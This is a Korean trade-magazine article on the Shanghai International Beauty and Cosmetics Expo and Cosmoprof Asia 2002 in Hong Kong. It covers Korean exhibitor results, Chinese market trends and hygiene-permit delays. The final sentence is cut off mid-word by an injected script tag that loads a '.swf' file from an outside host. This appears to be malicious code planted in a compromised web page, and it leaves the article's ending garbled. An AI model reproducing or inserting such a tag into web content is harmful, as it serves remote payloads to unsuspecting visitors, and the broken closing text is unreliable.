◆상하이 국제 미용화장품박람회
중국시장 진출의 필수 관문
매년 초여름 상해에서 열리는 상하이국제 미용화장품박람회는 중소기업청이 지원한 중국의 가장 큰 미용전시회로 중국을 비롯한 국제화장품 업체들의 화장품과 미용용품들이 전시된다. 중국 내 큰 관심을 받고 있는 만큼 한국업체들의 부스 규모 및 참가사 등이 확대되고 있는 실정이다.
지난 3년간의 박람회의 성장규모를 살펴보면 매년 약 2배 이상의 성장을 거듭해왔음을 알 수 있다. 상담액은 물론 실제 계약액에서도 꾸준한 성장이 눈에 띈다.
2002년 상하이박람회의 경우 한국은 유일한 국가관을 설치, 바이어들에게 긍정적인 이미지를 심어주는 데 성공해 목표치를 크게 상회하는 결과를 얻었다. 실제 계약액이 3배 가까이 성장, 중국 내 열기가 높아진 화장품 시장의 현주소를 그대로 반영했다. 또한, 한국관을 찾은 내방객은 17,500명이며, 이중 상담바이어만도 3000명이었던 것으로 조사됐다. 이는 국내 업체 1개사 당 200명 정도의 바이어와 상담했던 것으로 분석돼 상해 박람회에 참가한 국내 업체들 대다수가 지속적인 참가를 희망하는 등 상하이를 찾는 국내업체의 발길은 앞으로도 꾸준히 이어질 것으로 전망된다.
최근 상하이박람회의 경향은 중국 자국 내 화장품업체들의 경쟁이 치열해지고 있음을 반영하고 있다. 2002년 참가국가 구성도를 살펴보면 중국화장품관련기업이 80%를 차지, 중국 국내사들의 참가율이 증가하고 있다. 외국사들 역시 관세장벽이나 위생허가 등 여러가지 제약상 현지 대리점을 통한 참여도가 높아지고 있다. 이는 상하이박람회가 중국 내 브랜드 인지도를 높이는 브랜드 홍보의 장으로 활용되고 있음을 뜻한다. 참가한 국내 업체들 역시 수출실적을 높이기 위한 빅 바이어를 찾는 것이 아니라 잠재된 중국시장을 멀리 내다보고 현지 대리점 모집하거나 중국 내 대리점의 영업활성화 및 브랜드 인지도 재고를 위한 참가가 주 목적으로 조사됐다.
상하이박람회를 통해 엿보게 된 중국 현지의 또다른 모습은 한류열풍의 흔적들이다. 한국이름을 인용한 화장품 브랜드를 내세운 중국업체들의 이채로운 모습, 색조화장품이나 향수에 대한 중국 현지인들의 높은 관심 등이다. 이는 결국 중국 소비자들이 품질에 대한 요구 수준이 높아지고 있음을 반영하는 것으로 해석돼 차후 국내브랜드의 철저한 대비책이 요구되는 부분이다.
현재 중국 내 수입제품의 판매를 위해서는 위생허가증이 필수다. 그러나 발급조건이 까다로워 발급기간이 최소 3개월에서 길게는 1년 이상 걸려 중소업체의 경우 대리점 모집에 어려움을 겪고 있어 국가차원의 정책조정을 애타게 기다리고 있는 실정이다.
◆홍콩 코스모프로프 아시아
세계 향한 아시아 최대 박람회
지난해 11월 홍콩에서 열린 ‘코스모프로프 아시아 2002’는 역대 최대 규모인 전 세계 35개국 759개 업체가 참가 성황을 이뤘다. 관람객 수는 대략 3만5천여 명 정도. 코스모프로프 아시아는 아시아 지역에서 가장 큰 미용·화장품 박람회로 역내 업체들은 물론 아시아·태평양 지역 시장의 공략을 노리는 구미 각국의 업체들이 꼭 찾는 행사다.
우리나라에서는 국가관 17개 업체를 포함해 전부 81개 업체가 부스를 마련, 뷰티 코리아의 위상을 빛냈다. 이는 홍콩, 중국에 이어 3번째로 큰 규모에 해당된다.
코스모프로프 아시아는 ‘CMP Asia Ltd.’와 ‘BolognaFiere" 그리고 ‘Unipro"가 설립한 ‘Cosmoprof Asia"란 비즈니스 회사가 개최한다. BolognaFiere는 세계 최대 뷰티산업 박람회인 이탈리아의 볼로냐 코스모프로프를 주최하는 회사이며, Unipro는 이탈리아의 화장품, 목욕용품 및 기타 관련산업 협회다.
홍콩에서 열리는 코스모프로프 아시아는 명칭에서부터 지역 행사라는 느낌이 강한 것이 사실이지만 안을 들?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
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